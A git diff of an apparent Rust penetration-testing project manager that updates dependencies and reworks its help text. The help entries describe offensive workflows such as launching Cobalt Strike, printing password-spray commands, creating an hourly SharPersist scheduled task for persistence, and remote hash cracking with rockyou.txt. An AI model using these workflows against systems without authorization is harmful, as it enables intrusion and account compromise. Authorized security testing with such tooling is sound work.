||||
name = "strum"
|
||||
version = "0.25.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "290d54ea6f91c969195bdbcd7442c8c2a2ba87da8bf60a7ee86a235d4bc1e125"
|
||||
|
||||
[[package]]
|
||||
name = "strum_macros"
|
||||
version = "0.25.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "23dc1fa9ac9c169a78ba62f0b841814b7abae11bdd047b9c58f893439e309ea0"
|
||||
dependencies = [
|
||||
"heck",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"rustversion",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "subtle"
|
||||
version = "2.6.1"
|
||||
@@ -1818,6 +2434,16 @@ dependencies = [
|
||||
"windows-sys 0.59.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "term_size"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1e4129646ca0ed8f45d09b929036bafad5377103edd06e50bf574b353d2b08d9"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"winapi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "terminfo"
|
||||
version = "0.8.0"
|
||||
@@ -1974,10 +2600,23 @@ version = "0.1.41"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
|
||||
dependencies = [
|
||||
"log",
|
||||
"pin-project-lite",
|
||||
"tracing-attributes",
|
||||
"tracing-core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tracing-attributes"
|
||||
version = "0.1.30"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "81383ab64e72a7a8b8e13130c49e3dab29def6d0c7d76a03087b3cf71c5c6903"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tracing-core"
|
||||
version = "0.1.33"
|
||||
@@ -1993,6 +2632,12 @@ version = "0.2.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
|
||||
|
||||
[[package]]
|
||||
name = "typenum"
|
||||
version = "1.18.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.14"
|
||||
@@ -2034,6 +2679,12 @@ version = "0.2.15"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
|
||||
|
||||
[[package]]
|
||||
name = "version_check"
|
||||
version = "0.9.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
||||
|
||||
[[package]]
|
||||
name = "walkdir"
|
||||
version = "2.5.0"
|
||||
@@ -2512,6 +3163,26 @@ dependencies = [
|
||||
"synstructure",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy"
|
||||
version = "0.8.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f"
|
||||
dependencies = [
|
||||
"zerocopy-derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerocopy-derive"
|
||||
version = "0.8.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "zerofrom"
|
||||
version = "0.1.5"
|
||||
|
||||
@@ -13,4 +13,6 @@ fs_extra = "1.3.0"
|
||||
futures-io = { version = "0.2.0-beta" }
|
||||
reqwest = {version = "0.12.12", features = ["blocking", "json"]}
|
||||
rodio = "0.20.1"
|
||||
ssh-rs = "0.5.0"
|
||||
term_size = "0.3.2"
|
||||
walkdir = "2.5.0"
|
||||
|
||||
@@ -1,11 +1,20 @@
|
||||
use std::collections::HashMap;
|
||||
use std::fs;
|
||||
use std::fs::read_to_string;
|
||||
use std::fs::OpenOptions;
|
||||
use std::path::PathBuf;
|
||||
use std::process::exit;
|
||||
use std::io::Write;
|
||||
use std::thread::JoinHandle;
|
||||
use chrono::Datelike;
|
||||
use clearscreen::clear;
|
||||
use clearscreen;
|
||||
use chrono::Local;
|
||||
use colored::Colorize;
|
||||
use crate::configuration::load_config;
|
||||
use crate::print_error;
|
||||
use crate::print_informational;
|
||||
use crate::print_success;
|
||||
use crate::Project;
|
||||
use crate::project_controls;
|
||||
use crate::box_controls;
|
||||
@@ -18,94 +27,109 @@ use crate::victim_commands;
|
||||
use crate::enumeration;
|
||||
use crate:: tool_controls;
|
||||
use crate::configuration;
|
||||
use crate::tableize;
|
||||
use crate::exploit;
|
||||
|
||||
|
||||
fn help(command: Option<String>){
|
||||
if command.is_some(){
|
||||
let help_cmd = command.unwrap();
|
||||
let mut lines = Vec::new();
|
||||
lines.push("COMMAND||ALIASES||INFO".to_owned());
|
||||
match help_cmd.as_str(){
|
||||
"list projects" | "lp" | "listp" | "list p" => {println!("Command: list projects\nAliases: lp, listp, list p\n\nThis command lists all projects currently tracked by the pentest_tool"); return;},
|
||||
"switch project" | "swp" | "switch p" | "switchp" => {println!("Command: switch project\nAliases: swp, switch p, switchp\n\nThis command will switch the active project from the current one to a new on of your choosing. It will prompt you to make a selection."); return;},
|
||||
"show active project" | "show active" | "sa" | "show a" => {println!("Command: show active project\nAliases: sa, show a\n\nThis command shows information about the currently active project. NOTE the most useful information is already displayed above the CLI prompt."); return;},
|
||||
"create new project" | "cnp" | "new project" | "np" => {println!("Command: create new project\nAliases: cnp, new project, np\n\nThis command creates a new project and default note structure based on pyro's perferred note structure. It will prompt you for any needed information."); return;},
|
||||
"save projects" | "sp" | "save" | "s" => {println!("Command: save projects\nAliases: sp save\n\nThis command saves all project information to the ~/.config/pyro_pentest_tool/projects.conf file"); return;},
|
||||
"import project" | "ip" | "import" => {println!("Command: import project\nAliases: ip, import\n\nThis command will impot an existing project and set up a new distrobox for the project if it is a current project."); return;},
|
||||
"remove project" | "rp" | "remove" | "rmp" => {println!("Command:remove project\nAliases:rp, remove, rmp\n\nThis command removes a project from the list of projects tracked by the pentest_tool, and will destroy its distrobox. It does not remove any directories used or created by the distrobox. Run this after the report is written."); return;},
|
||||
"show upcoming projects" | "sup" | "show upcoming" => {println!("Command:show upcoming projects\nAliases:sup, show upcoming\n\nThis command shows a list of upcoming projects. Use this to verify which project you want to promote when the project enters the active phase."); return;},
|
||||
"promote project" | "pp" | "promote" => {println!("Command:promote project\nAliases:pp (ha), promote\n\nThis command promotes an upcoming project to a current project. It will copy the folders that were created over to the current project space and set up a new distrobox for the project."); return;},
|
||||
"new terminal" | "enter" | "enter terminal" | "nt" | "et" => {println!("Command:new terminal\nAliases:enter, enter terminal, nt, et\n\nThis command spawns a new terminal window in the active project's distrobox. Use this to interact with your project's distrobox."); return;},
|
||||
"inline terminal" | "it" | "enter inline" | "ei" => {println!("Command:inline terminal\nAliases:it enter, inline, ei\n\nThis command spawns a terminal in this window using the current active project's distrobox"); return;},
|
||||
"cobalt strike" | "cs" => {println!("Command:cobalt strike\nAliases:cs\n\nThis command opens cobalt strike in the active project's distrobox, and spins it off as a new thread to ensure it doesn't block the rest of this tools operation. NOTE the cobalt strike window will need to be closed before this tool exits sucessfully."); return;},
|
||||
"recreate distrobox" | "rdb" | "ndb" | "new distrobox" => {println!("Command:recreate distrobox\nAliases:rdb, ndb, new distrobox\n\nThis command destroyes the existing distrobox for the currently active project, and clones a new one based on the current state of the template distrobox."); return;},
|
||||
"generate userpass" | "userpass" | "gup" | "up" => {println!("Command:generate userpass\nAliases:userpass, gup, up\n\nThis command generates a userpass file based on the active project's notes. The file will be in the username:password format."); return;},
|
||||
"inital enum" | "ie" | "enum" => {println!("Command:initial enum\nAliases:ie, enum\n\nThis command runs the initial enum script on a nessus csv and saves the output to the active project's notes in the host_notes.md file."); return;},
|
||||
"build attack notes" | "ban" | "attack notes" | "hn" => {println!("Command:build attack notes\nAliases:ban, attack notes\n\nThis command builds the active project's attack note based on the active project's host notes (for external tests). It is expected that you'd run the initial enum command, then manually fill out the enumeration talbes with correct service names and ports."); return;},
|
||||
"host discovery" | "build host discovery" | "hd" | "bhd" => {println!("Command:host discovery\nAliases:build host discovery, hd, bhd\n\nThis command prints the host discovery ping command for the active project, based on the scope table in the general.md notes file."); return;},
|
||||
"cobaltstrike port scan" | "cs port scan" | "csps" => {println!("Command:port scan\nAliases:cs port scan, cobaltstrike port scan, csps, ps (tell your cat I said that)\n\nThis command prints the cobalt strike portscan command based on the active project's scope table in the general.md notes file"); return;},
|
||||
"parse port scan" | "pps" | "parse scan" => {println!("Command:parse port scan\nAliases:pps, parse scan\n\nThis commmand parses a cobalt strike portscan TSV and saves interesting hoests to files to the active project's files folder. The host files are designated with the service that was detected that might be interesting. Use this to generate target lists for specific protocols."); return;},
|
||||
"stop boxes" | "stop distroboxes" | "sdb" => {println!("Command:stop boxes\nAliases:stop distroboxes, sdb\n\nThis command stops all distroboxes for the tracked projects. Note if the distrobox isn't running you will see errors in the console, you can safely ignore these."); return;},
|
||||
"password spray" | "pass spray" | "pas" => {println!("Command:password spray\nAliases:pass spray, pas\n\nThis command iterates through the password spray note file and print the command to perform the spray, waiting the proper observation window beteen commands. It prompts you to save if needed. NOTE this will block execution for the rest of the program until it is either finished, or you save and exit the password spray function. I'm working on making this better."); return;},
|
||||
"bloodhound" | "bh" => {println!("Command:bloodhound\nAliases:bh\n\nThis command launches bloodhound in the active project's distrobox. It will automatically start neo4j before staring bloodhound."); return;},
|
||||
"parse gather contacts" | "pgc" | "parse contacts" | "pc" => {println!("Command:parse gather contacts\nAliases:pgc, parse contacts, pc\n\nThis command parses output saved from the gather contacts burpsuite extension."); return;},
|
||||
"prune distroboxes" | "pdb" | "prune" => {println!("Command:prune distroboxes\nAliases:pdb, prune\n\nthis command prunes distroboxes for all projects that are not being tracked by this tool (frees up system storage). This will start all the currently acvtive distorboxes to ensure they don't get pruned, and then will delete all the not-started distrobox volumes and resources."); return;},
|
||||
"clear" | "clear screen" | "cls" => {println!("Command:clear\nAliases:clear screen, cls\n\nThis command clears the screen of command output."); return},
|
||||
"exit" => {println!("Command:exit\nAliases:(none)\nThis command exits the pentest_tool, it will save all project infomation, and wait for all threads to re-join the main thread before exiting."); return;},
|
||||
"settings" => {println!("\n\nThe settings file is located at ~/.config/pyro_pentest_tool/conf\n\nThe format is setting_name:setting_value.\n\nNeeded settings are\n project_files - the place to store current project files folders\n\n projtect_notes - the place to store current project notes\n\n tools_folder - the place to store custom tools like those downloaded from github\n\n upcoming_files - the place to store upcoming project files folders\n\n upcoming_notes - The place to store upcoming project note files\n\n box_template - the name of the distrobox you want to clone for project boxes\n\n terminal - the command you use to launch a terminal, while running a specific command: Ex: konsole -e \n\n cracking_rig - the user and host you use for a personal cracking rig in the openssh formating: Ex: pyro@cracking_rig or pyro@192.168.1.101 if you do not have a cracking rig the default is @n\n\n rockyou_location - the location on the cracking rig for the rockyou.txt file default is n\n\n rule_location - the location on the cracking rig for the one rule to rule them all file. Default is n\n\n pass_file - this is the location where you store your standard password spray file. If you do not have a custom one this tool provides one. The default is ~/.config/pyro_pentest_tool/passwordspary.md\n\n fingerprint - this is whether you want fingerprint authentication within your distroboxes, takes y/n\n\n vault_name - the name of your obsidian vault, default is notes\n\n"); return;},
|
||||
"parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => {println!("Command:parse normal nmap file\nAliases: pnnf, parse nmap, pn\n\nThis command parses the normal output of an nmap scan (like if you just tee'd or >'d it to a file) and outputs in host:port or int the coablt strike tsv format. It will attempt to find the file within the active project's files folder, and if it can't find the file it will prompt you for input.")},
|
||||
"sharpersist command" | "spc" | "sharp scheduled task" | "sst" => {println!("Command: sharpersist command\nAliases: spc, sharp scheduled task, sst\n\nThis comand prints the commands to run to use sharpersist.exe to create a scheduled task that runs hourly called FRPersist.")},
|
||||
"port scan" | "ps" | "nmap" | "nmap scan" | "ns" | "nm" => {println!("Command: port scan\nAliases: ps, nmap, nmap scan, ns, nm\n\nThis command runs an nmap scan against the scope in the active projects notes, and saves the output.")},
|
||||
"show scope" | "ss" | "show s" | "s s" | "scope" => {println!("Command:show scope\nAliases:ss, show s, s s, scope\n\nThis command displays the current project's scope as just the hosts in the scope table in your notes.")},
|
||||
"port scan command" | "psc" | "nmap command" | "nmc" => {println!("command:port scan command\nAliases:psc,nmap command, nmc\n\nThis command will print the nmap command to manually run a scan to the terminal so you can copy paste it.")},
|
||||
"update git tools" | "ugt" | "update git" | "ug" => {println!("Command: update git tools\nAliases: update git, ugt, ug\n\nThis command attempts to update the git tools in your tools directory, it will attempt to update every directory as a git project. If the directory is not a git project it should just error out and continue to the next one.")},
|
||||
"dns records" | "dr" => {println!("Command:dnsrecords\nAliases:dr\n\nThis command will run dns recon inside of your distrobox and save the results to your enumeration notes.")},
|
||||
"brute force subdomains"| "bsd" | "gobuster dns" | "gd" => {println!("Command:brute force subdomains\nAliases:bsd,gobuster dns, gd\n\nthis command will run gobuster in the project's distrobox and save the results to your notes.")},
|
||||
"dns enumeration" | "de" | "all dns stuff" | "ads" | "dns stuff" | "ds" => {println!("Command:dns enumeration\nAliases:de, all dns stuff, ads, dns stuff, de\n\nThis command will perform both dns record enumeration with dnsrecon, and subdomain enumeration using gobster inside of your distrobox and save the output to your notes.")},
|
||||
"modify tool config" | "mtc" => {println!("Command: modify tool config\nAliases: mtc\n\nThis command lets you modify the tool's configuration.");}
|
||||
"list projects" | "lp" | "listp" | "list p" => lines.push("list projects||lp, listp, list p||This command lists all projects currently tracked by the pentest_tool".to_owned().to_owned()) ,
|
||||
"switch project" | "swp" | "switch p" | "switchp" => lines.push(" switch project|| swp, switch p, switchp||This command will switch the active project from the current one to a new on of your choosing. It will prompt you to make a selection.".to_owned()) ,
|
||||
"show active project" | "show active" | "sa" | "show a" => lines.push(" show active project|| sa, show a||This command shows information about the currently active project. NOTE the most useful information is already displayed above the CLI prompt.".to_owned()) ,
|
||||
"create new project" | "cnp" | "new project" | "np" => lines.push(" create new project|| cnp, new project, np||This command creates a new project and default note structure based on pyro's perferred note structure. It will prompt you for any needed information.".to_owned()) ,
|
||||
"save projects" | "sp" | "save" | "s" => lines.push(" save projects|| sp save||This command saves all project information to the ~/.config/pyro_pentest_tool/projects.conf file".to_owned()) ,
|
||||
"import project" | "ip" | "import" => lines.push(" import project|| ip, import||This command will impot an existing project and set up a new distrobox for the project if it is a current project.".to_owned()) ,
|
||||
"remove project" | "rp" | "remove" | "rmp" => lines.push("remove project||rp, remove, rmp||This command removes a project from the list of projects tracked by the pentest_tool, and will destroy its distrobox. It does not remove any directories used or created by the distrobox. Run this after the report is written.".to_owned()) ,
|
||||
"show upcoming projects" | "sup" | "show upcoming" => lines.push("show upcoming projects||sup, show upcoming||This command shows a list of upcoming projects. Use this to verify which project you want to promote when the project enters the active phase.".to_owned()) ,
|
||||
"promote project" | "pp" | "promote" => lines.push("promote project||pp (ha), promote||This command promotes an upcoming project to a current project. It will copy the folders that were created over to the current project space and set up a new distrobox for the project.".to_owned()) ,
|
||||
"new terminal" | "enter" | "enter terminal" | "nt" | "et" => lines.push("new terminal||enter, enter terminal, nt, et||This command spawns a new terminal window in the active project's distrobox. Use this to interact with your project's distrobox.".to_owned()) ,
|
||||
"inline terminal" | "it" | "enter inline" | "ei" => lines.push("inline terminal||it enter, inline, ei||This command spawns a terminal in this window using the current active project's distrobox".to_owned()) ,
|
||||
"cobalt strike" | "cs" => lines.push("cobalt strike||cs||This command opens cobalt strike in the active project's distrobox, and spins it off as a new thread to ensure it doesn't block the rest of this tools operation. NOTE the cobalt strike window will need to be closed before this tool exits sucessfully.".to_owned()) ,
|
||||
"recreate distrobox" | "rdb" | "ndb" | "new distrobox" => lines.push("recreate distrobox||rdb, ndb, new distrobox||This command destroyes the existing distrobox for the currently active project, and clones a new one based on the current state of the template distrobox.".to_owned()) ,
|
||||
"generate userpass" | "userpass" | "gup" | "up" => lines.push("generate userpass||userpass, gup, up||This command generates a userpass file based on the active project's notes. The file will be in the username:password format.".to_owned()) ,
|
||||
"inital enum" | "ie" | "enum" => lines.push("initial enum||ie, enum||This command runs the initial enum script on a nessus csv and saves the output to the active project's notes in the host_notes.md file.".to_owned()) ,
|
||||
"build attack notes" | "ban" | "attack notes" | "hn" => lines.push("build attack notes||ban, attack notes||This command builds the active project's attack note based on the active project's host notes (for external tests). It is expected that you'd run the initial enum command, then manually fill out the enumeration talbes with correct service names and ports.".to_owned()) ,
|
||||
"host discovery" | "build host discovery" | "hd" | "bhd" => lines.push("host discovery||build host discovery, hd, bhd||This command prints the host discovery ping command for the active project, based on the scope table in the general.md notes file.".to_owned()) ,
|
||||
"cobaltstrike port scan" | "cs port scan" | "csps" => lines.push("port scan||cs port scan, cobaltstrike port scan, csps, ps (tell your cat I said that)||This command prints the cobalt strike portscan command based on the active project's scope table in the general.md notes file".to_owned()) ,
|
||||
"parse port scan" | "pps" | "parse scan" => lines.push("parse port scan||pps, parse scan||This commmand parses a cobalt strike portscan TSV and saves interesting hoests to files to the active project's files folder. The host files are designated with the service that was detected that might be interesting. Use this to generate target lists for specific protocols.".to_owned()) ,
|
||||
"stop boxes" | "stop distroboxes" | "sdb" => lines.push("stop boxes||stop distroboxes, sdb||This command stops all distroboxes for the tracked projects. Note if the distrobox isn't running you will see errors in the console, you can safely ignore these.".to_owned()) ,
|
||||
"password spray" | "pass spray" | "pas" => lines.push("password spray||pass spray, pas||This command iterates through the password spray note file and print the command to perform the spray, waiting the proper observation window beteen commands. It prompts you to save if needed. NOTE this will block execution for the rest of the program until it is either finished, or you save and exit the password spray function. I'm working on making this better.".to_owned()) ,
|
||||
"bloodhound" | "bh" => lines.push("bloodhound||bh||This command launches bloodhound in the active project's distrobox. It will automatically start neo4j before staring bloodhound.".to_owned()) ,
|
||||
"parse gather contacts" | "pgc" | "parse contacts" | "pc" => lines.push("parse gather contacts||pgc, parse contacts, pc||This command parses output saved from the gather contacts burpsuite extension.".to_owned()) ,
|
||||
"prune distroboxes" | "pdb" | "prune" => lines.push("prune distroboxes||pdb, prune||this command prunes distroboxes for all projects that are not being tracked by this tool (frees up system storage). This will start all the currently acvtive distorboxes to ensure they don't get pruned, and then will delete all the not-started distrobox volumes and resources.".to_owned()) ,
|
||||
"clear" | "clear screen" | "cls" => lines.push("clear||clear screen, cls||This command clears the screen of command output.".to_owned()) ,
|
||||
"exit" => lines.push("exit||(none)\nThis command exits the pentest_tool, it will save all project infomation, and wait for all threads to re-join the main thread before exiting.".to_owned()) ,
|
||||
"settings" => lines.push("||The settings file is located at ~/.config/pyro_pentest_tool/conf||The format is setting_name:setting_value.||Needed settings are\n project_files - the place to store current project files folders|| projtect_notes - the place to store current project notes|| tools_folder - the place to store custom tools like those downloaded from github|| upcoming_files - the place to store upcoming project files folders|| upcoming_notes - The place to store upcoming project note files|| box_template - the name of the distrobox you want to clone for project boxes|| terminal - the command you use to launch a terminal, while running a specific Ex: konsole -e || cracking_rig - the user and host you use for a personal cracking rig in the openssh formating: Ex: pyro@cracking_rig or pyro@192.168.1.101 if you do not have a cracking rig the default is @n|| rockyou_location - the location on the cracking rig for the rockyou.txt file default is n|| rule_location - the location on the cracking rig for the one rule to rule them all file. Default is n|| pass_file - this is the location where you store your standard password spray file. If you do not have a custom one this tool provides one. The default is ~/.config/pyro_pentest_tool/passwordspary.md|| fingerprint - this is whether you want fingerprint authentication within your distroboxes, takes y/n|| vault_name - the name of your obsidian vault, default is notes||".to_owned()) ,
|
||||
"parse normal nmap file" | "pnnf" | "parse nmap" | "pn" => lines.push("parse normal nmap file|| pnnf, parse nmap, pn||This command parses the normal output of an nmap scan (like if you just tee'd or >'d it to a file) and outputs in host:port or int the coablt strike tsv format. It will attempt to find the file within the active project's files folder, and if it can't find the file it will prompt you for input.".to_owned()),
|
||||
"sharpersist command" | "spc" | "sharp scheduled task" | "sst" => lines.push(" sharpersist command|| spc, sharp scheduled task, sst||This comand prints the commands to run to use sharpersist.exe to create a scheduled task that runs hourly called FRPersist.".to_owned()),
|
||||
"port scan" | "ps" | "nmap" | "nmap scan" | "ns" | "nm" => lines.push(" port scan|| ps, nmap, nmap scan, ns, nm||This command runs an nmap scan against the scope in the active projects notes, and saves the output.".to_owned()),
|
||||
"show scope" | "ss" | "show s" | "s s" | "scope" => lines.push("show scope||ss, show s, s s, scope||This command displays the current project's scope as just the hosts in the scope table in your notes.".to_owned()),
|
||||
"port scan command" | "psc" | "nmap command" | "nmc" => lines.push("port scan command||psc,nmap command, nmc||This command will print the nmap command to manually run a scan to the terminal so you can copy paste it.".to_owned()),
|
||||
"update git tools" | "ugt" | "update git" | "ug" => lines.push(" update git tools|| update git, ugt, ug||This command attempts to update the git tools in your tools directory, it will attempt to update every directory as a git project. If the directory is not a git project it should just error out and continue to the next one.".to_owned()),
|
||||
"dns records" | "dr" => lines.push("dnsrecords||dr||This command will run dns recon inside of your distrobox and save the results to your enumeration notes.".to_owned()),
|
||||
"brute force subdomains"| "bsd" | "gobuster dns" | "gd" => lines.push("brute force subdomains||bsd,gobuster dns, gd||this command will run gobuster in the project's distrobox and save the results to your notes.".to_owned()),
|
||||
"dns enumeration" | "de" | "all dns stuff" | "ads" | "dns stuff" | "ds" => lines.push("dns enumeration||de, all dns stuff, ads, dns stuff, de||This command will perform both dns record enumeration with dnsrecon, and subdomain enumeration using gobster inside of your distrobox and save the output to your notes.".to_owned()),
|
||||
"modify tool config" | "mtc" => lines.push("modify tool config|| mtc||This command lets you modify the tool's configuration.".to_owned()),
|
||||
"separate work and personal projects" | "swpp" | "separate projects" | "seppro" => lines.push("separate work and personal||swpp, separate projects, seppro||This command lets you separate work and personal projects into separate config files. This allows you to load personal and work projects separately!".to_owned()),
|
||||
"switch to personal projects" | "switch personal" => lines.push("switch to personal projects||switch personal||This command lets you switch which config file is loaded to the personal config file.".to_owned()),
|
||||
"switch to work projects" | "switch work" => lines.push("switch to work projects||switch work||This command lets you switch to load the work projects.".to_owned()),
|
||||
"parse net view" | "pnv" => lines.push("parse net view||pnv||This command takes a text file of netview output and parses it into share paths".to_owned()),
|
||||
_ => ()
|
||||
}
|
||||
tableize(lines);
|
||||
}
|
||||
else{
|
||||
println!("Welcom to Pyro's pentest command line!");
|
||||
println!("the pentest_tool uses a configuration file to store your settings. This configuration file is located at ~/.config/pyro_pentest_tool/conf.\nYou can modify this file, but do so cautiously, incorrect formatting will cause this program to have a bruh moment.\nThe correct format is setting_name:setting_value\nExample:\nprojecT_files:/var/home/pyro/pentests/current");
|
||||
println!("for help configuring the settings file run help settings");
|
||||
let lines = vec!["command||aliases".to_owned(),
|
||||
"menu||main menu, mm".to_owned(),
|
||||
"list projects||lp, listp, list p".to_owned(),
|
||||
"switch project||sp, switch p, switchp".to_owned(),
|
||||
"show active project||show active, sa, show a".to_owned(),
|
||||
"create new project||cnp, new project, np".to_owned(),
|
||||
"save projects||sp, save, s".to_owned(),
|
||||
"import project||ip, import".to_owned(),
|
||||
"remove project||rp, remove, rmp".to_owned(),
|
||||
"show upcoming project||sup, show upcoming".to_owned(),
|
||||
"promote project||pp, promote".to_owned(),
|
||||
"new terminal||enter, enter terminal, nt, et".to_owned(),
|
||||
"inline terminal||it, enter inline, ei".to_owned(),
|
||||
"cobalt strike||cs".to_owned(),
|
||||
"recreate distrobox||rdb, ndb, new distrobox".to_owned(),
|
||||
"generate userpass||userpass, gup, up".to_owned(),
|
||||
"inital enum||ie, enum".to_owned(),
|
||||
"host discovery ||build host discovery, hd, bhd".to_owned(),
|
||||
"port scan||cs port scan, cobaltstrike port scan, csps, ps".to_owned(),
|
||||
"parse port scan ||pps, parse scan".to_owned(),
|
||||
"stop boxes||stop distroboxes, sdb".to_owned(),
|
||||
"password spray||pass spray, pas".to_owned(),
|
||||
"bloodhound||bh".to_owned(),
|
||||
"parse gather contacts||pgc, parse contacts, pc".to_owned(),
|
||||
"prune distroboxes||pdb, prune".to_owned(),
|
||||
"clear||clear screen, cls".to_owned(),
|
||||
"parse nomral nmap file||pnnf, parse nmap, pn".to_owned(),
|
||||
"show scope||ss, show s, s s, scope".to_owned(),
|
||||
"sharpersist command||spc, sharp scheduled task".to_owned(),
|
||||
"port scan||ps, nmap, nmap scan, ns, nm".to_owned(),
|
||||
"port scan command||psc, nmap command, nmc".to_owned(),
|
||||
"update git tools||ugt, update git, ug".to_owned(),
|
||||
"dns records||dr".to_owned(),
|
||||
"brute force subdomain||bsd, gobuster dns, gd".to_owned(),
|
||||
"dns enumeration||de, all dns stuff, ads, dns stuff, ds".to_owned(),
|
||||
"modify tool config||mtc".to_owned(),
|
||||
"separate work and personal projects||swpp, separate projects, seppro".to_owned(),
|
||||
"switch to personal projects||switch personal".to_owned(),
|
||||
"switch to work projects||switch work".to_owned(),
|
||||
"parse net view||pnv".to_owned(),
|
||||
"help||?, -h".to_owned()];
|
||||
println!("available commands:");
|
||||
tableize(lines);
|
||||
}
|
||||
println!("Welcom to Pyro's pentest command line!");
|
||||
println!("the pentest_tool uses a configuration file to store your settings. This configuration file is located at ~/.config/pyro_pentest_tool/conf.\nYou can modify this file, but do so cautiously, incorrect formatting will cause this program to have a bruh moment.\nThe correct format is setting_name:setting_value\nExample:\nprojecT_files:/var/home/pyro/pentests/current");
|
||||
println!("for help configuring the settings file run help settings");
|
||||
println!("available commands: name | aliases | ...");
|
||||
print!("
|
||||
menu | main menu | mm
|
||||
list projects | lp | listp | list p
|
||||
switch project | sp | switch p | switchp
|
||||
show active project | show active | sa | show a
|
||||
create new project | cnp | new project | np
|
||||
save projects | sp | save | s
|
||||
import project | ip | import
|
||||
remove project | rp | remove | rmp
|
||||
show upcoming project | sup | show upcoming
|
||||
promote project | pp | promote
|
||||
new terminal | enter | enter terminal | nt | et
|
||||
inline terminal | it | enter inline | ei
|
||||
cobalt strike | cs
|
||||
recreate distrobox | rdb | ndb | new distrobox
|
||||
generate userpass | userpass | gup | up
|
||||
inital enum | ie | enum
|
||||
host discovery | build host discovery | hd | bhd
|
||||
port scan | cs port scan | cobaltstrike port scan | csps | ps
|
||||
parse port scan | pps | parse scan
|
||||
stop boxes | stop distroboxes | sdb
|
||||
password spray | pass spray | pas
|
||||
bloodhound | bh
|
||||
parse gather contacts | pgc | parse contacts | pc
|
||||
prune distroboxes | pdb | prune
|
||||
clear | clear screen | cls
|
||||
parse nomral nmap file | pnnf | parse nmap | pn
|
||||
show scope | ss | show s | s s | scope
|
||||
sharpersist command | spc | sharp scheduled task
|
||||
port scan | ps | nmap | nmap scan | ns | nm
|
||||
port scan command | psc | nmap command | nmc
|
||||
update git tools | ugt | update git | ug
|
||||
dns records | dr
|
||||
brute force subdomains| bsd | gobuster dns | gd
|
||||
dns enumeration | de | all dns stuff | ads | dns stuff | ds
|
||||
modify tool config | mtc
|
||||
help | ? | -h
|
||||
")
|
||||
}
|
||||
|
||||
pub fn get_active_project(projects: &Vec<Project>) -> Option<&Project>{
|
||||
@@ -135,21 +159,22 @@ pub fn next_project_id(config_path: &PathBuf) -> Option<i32>{
|
||||
}
|
||||
#[allow(unused)]
|
||||
pub fn run_command(cmd: String,
|
||||
mut projects: &mut Vec<Project>,
|
||||
config_path: PathBuf,
|
||||
base_files: &PathBuf,
|
||||
base_notes: &PathBuf,
|
||||
tools_dir: &PathBuf,
|
||||
boxtemplate: String,
|
||||
terminal: String,
|
||||
cracking_rig: String,
|
||||
rockyou: String,
|
||||
rule: String,
|
||||
upcoming_files: &PathBuf,
|
||||
upcoming_notes: &PathBuf,
|
||||
password_spray_file: &PathBuf,
|
||||
fingerprint: bool,
|
||||
vault_name: String) -> Option<JoinHandle<()>> {
|
||||
settings: &HashMap<&str, String>,
|
||||
config_path: &PathBuf,
|
||||
mut projects: &mut Vec<Project>) -> Option<JoinHandle<()>> {
|
||||
let base_files = PathBuf::from(settings["project_files"].clone());
|
||||
let base_notes = PathBuf::from(settings["project_notes"].clone());
|
||||
let tools_dir = PathBuf::from(settings["tools_folder"].clone());
|
||||
let boxtemplate= settings["box_template"].clone();
|
||||
let terminal = settings["terminal_command"].clone();
|
||||
let cracking_rig = settings["cracking_rig"].clone();
|
||||
let rockyou = settings["rockyou"].clone();
|
||||
let rule = settings["rule"].clone();
|
||||
let upcoming_files = PathBuf::from(settings["upcoming_files"].clone());
|
||||
let upcoming_notes = PathBuf::from(settings["upcoming_notes"].clone());
|
||||
let password_spray_file = PathBuf::from(settings["pass_spray_file"].clone());
|
||||
let fingerprint = settings["fingerprint"].to_lowercase().contains("y");
|
||||
let vault_name = settings["vault_name"].clone();
|
||||
let new_id_res = next_project_id(&config_path);
|
||||
if new_id_res.is_none(){
|
||||
println!("{}", "failed to get new project ID!".red());
|
||||
@@ -204,12 +229,12 @@ pub fn run_command(cmd: String,
|
||||
"list projects" | "lp" | "listp" | "list p" => {project_controls::list_projects(&projects); return None},
|
||||
"switch project" | "swp" | "switch p" | "switchp" => {project_controls::switch_project(&mut projects); return None},
|
||||
